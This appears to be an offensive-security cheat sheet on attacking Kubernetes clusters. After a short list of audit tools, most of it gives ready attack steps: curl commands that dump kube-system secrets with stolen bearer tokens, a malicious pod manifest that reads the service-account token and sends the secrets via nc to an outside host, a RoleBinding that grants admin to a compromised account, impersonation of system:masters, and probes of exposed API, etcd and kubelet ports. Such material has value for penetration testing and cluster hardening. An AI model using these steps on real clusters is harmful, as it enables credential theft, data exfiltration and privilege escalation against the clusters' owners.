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Kubernetes
Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
Summary
Tools
-
kubeaudit. kubeaudit is a command line tool to audit Kubernetes clusters for various different security concerns: run the container as a non-root user, use a read only root filesystem, drop scary capabilities, don't add new ones, don't run privileged, ...
-
kubesec.io. Security risk analysis for Kubernetes resources.
-
kube-bench. kube-bench is a Go application that checks whether Kubernetes is deployed securely by running the checks documented in the CIS Kubernetes Benchmark.
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katacoda. Learn Kubernetes using interactive broser-based scenarios.
RBAC Configuration
Listing Secrets
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Access Any Resource or Verb
resources:
- '*'
verbs:
- '*'
Pod Creation
Check your right with kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml.
Then create a malicious pod.yaml file.
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Then kubectl apply -f malicious-pod.yaml
Privilege to Use Pods/Exec
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
Privilege to Get/Patch Rolebindings
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. Create a malicious RoleBinging.json file.
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
Impersonating a Privileged Account
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
API addresses that you should know
(External network visibility)
cAdvisor
curl -k https://<IP Address>:4194
Insecure API server
curl -k https://<IP Address>:8080
Secure API Server
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
Kubelet API
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
kubelet (Read only)
curl -k https://<IP Address>:10255